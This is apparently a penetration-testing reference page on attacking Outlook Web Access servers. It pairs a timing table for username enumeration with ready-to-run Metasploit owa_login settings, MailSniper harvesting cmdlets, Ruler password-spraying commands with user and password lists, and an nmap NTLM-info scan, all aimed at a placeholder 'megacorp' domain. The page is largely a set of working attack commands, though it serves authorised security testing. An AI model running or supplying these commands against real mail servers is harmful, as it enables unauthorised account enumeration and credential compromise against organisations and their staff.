> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/perimeter/owa.md).

# OWA

## Enumerate Users

* <https://www.triaxiomsecurity.com/2019/03/15/vulnerability-walkthrough-timing-based-username-enumeration/>
* <https://www.intruder.io/blog/user-enumeration-in-microsoft-products-an-incident-waiting-to-happen>

| Authentication Request                   | Kerberos Process                                     | Response Time |
| ---------------------------------------- | ---------------------------------------------------- | ------------- |
| Non-existing realm                       | KDC searches for realm                               | 2-3 seconds   |
| Realm exists but username does not exist | Pre-authentication ticket created to verify username | 5-60 seconds  |
| Realm and username exists                | Pre-authentication ticket created to verify password | < 2 seconds   |

> "Responses in different environments may have different response times but the pattern in the timing response behavior still exist." ([ref](http://h.foofus.net/?p=784))

### MSF

```
msf > use auxiliary/scanner/http/owa_login
msf > set RHOST mx.megacorp.local
msf > set USER_FILE owa-users.txt
msf > set PASSWORD dummyPassword
msf > set THREADS 15
msf > run
```

### MailSniper

* <https://github.com/dafthack/MailSniper>

```
PS > Invoke-UsernameHarvestOWA -ExchHostname mx.megacorp.com -Domain MEGACORP -UserList .\owa-users.txt -Threads 25 -OutFile owa-valid-users.txt
```

## Password Spray

### Ruler

* <https://github.com/sensepost/ruler/wiki/Brute-Force#brute-force-for-credentials>

Autodiscover URL implicit:

```
$ ./ruler -k -d megacorp.com brute --users users.txt --passwords passwords.txt --delay 35 --attempts 3 --verbose | tee -a ruler-blood.out
```

Autodiscover URL explicit:

```
$ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com brute --users users.txt --passwords passwords.txt --delay 35 --attempts 3 --verbose | tee -a ruler-all.out
```

Notes:

* In users.txt there's only "username" on a line, not "DOMAIN\username".
* Errors like `ERROR: 04:27:43 brute.go:193: An error occured in connection - Get https://autodiscover.megacorp.com/autodiscover/autodiscover.xml: Get https://autodiscover.megacorp.com/autodiscover/autodiscover.xml: net/http: request canceled` do **not** affect the current password probe.

## Enumerate NTLM

* <https://github.com/nyxgeek/ntlmscan>
* <https://gist.github.com/aseering/829a2270b72345a1dc42>

### Nmap

```
$ sudo nmap -sV --script http-ntlm-info --script-args http-ntlm-info.root=/ews/ -p443 mx.megacorp.com
```

### MSF

```
msf > use auxiliary/scanner/http/owa_login
msf > set AUTH_TIME false
msf > set RHOST mx.megacorp.local
msf > set USERNAME dummyUser
msf > set PASSWORD dummyPassword
msf > run
```

### MailSniper

* <https://github.com/dafthack/MailSniper>

```
PS > Invoke-DomainHarvestOWA -ExchHostname mx.megacorp.com
```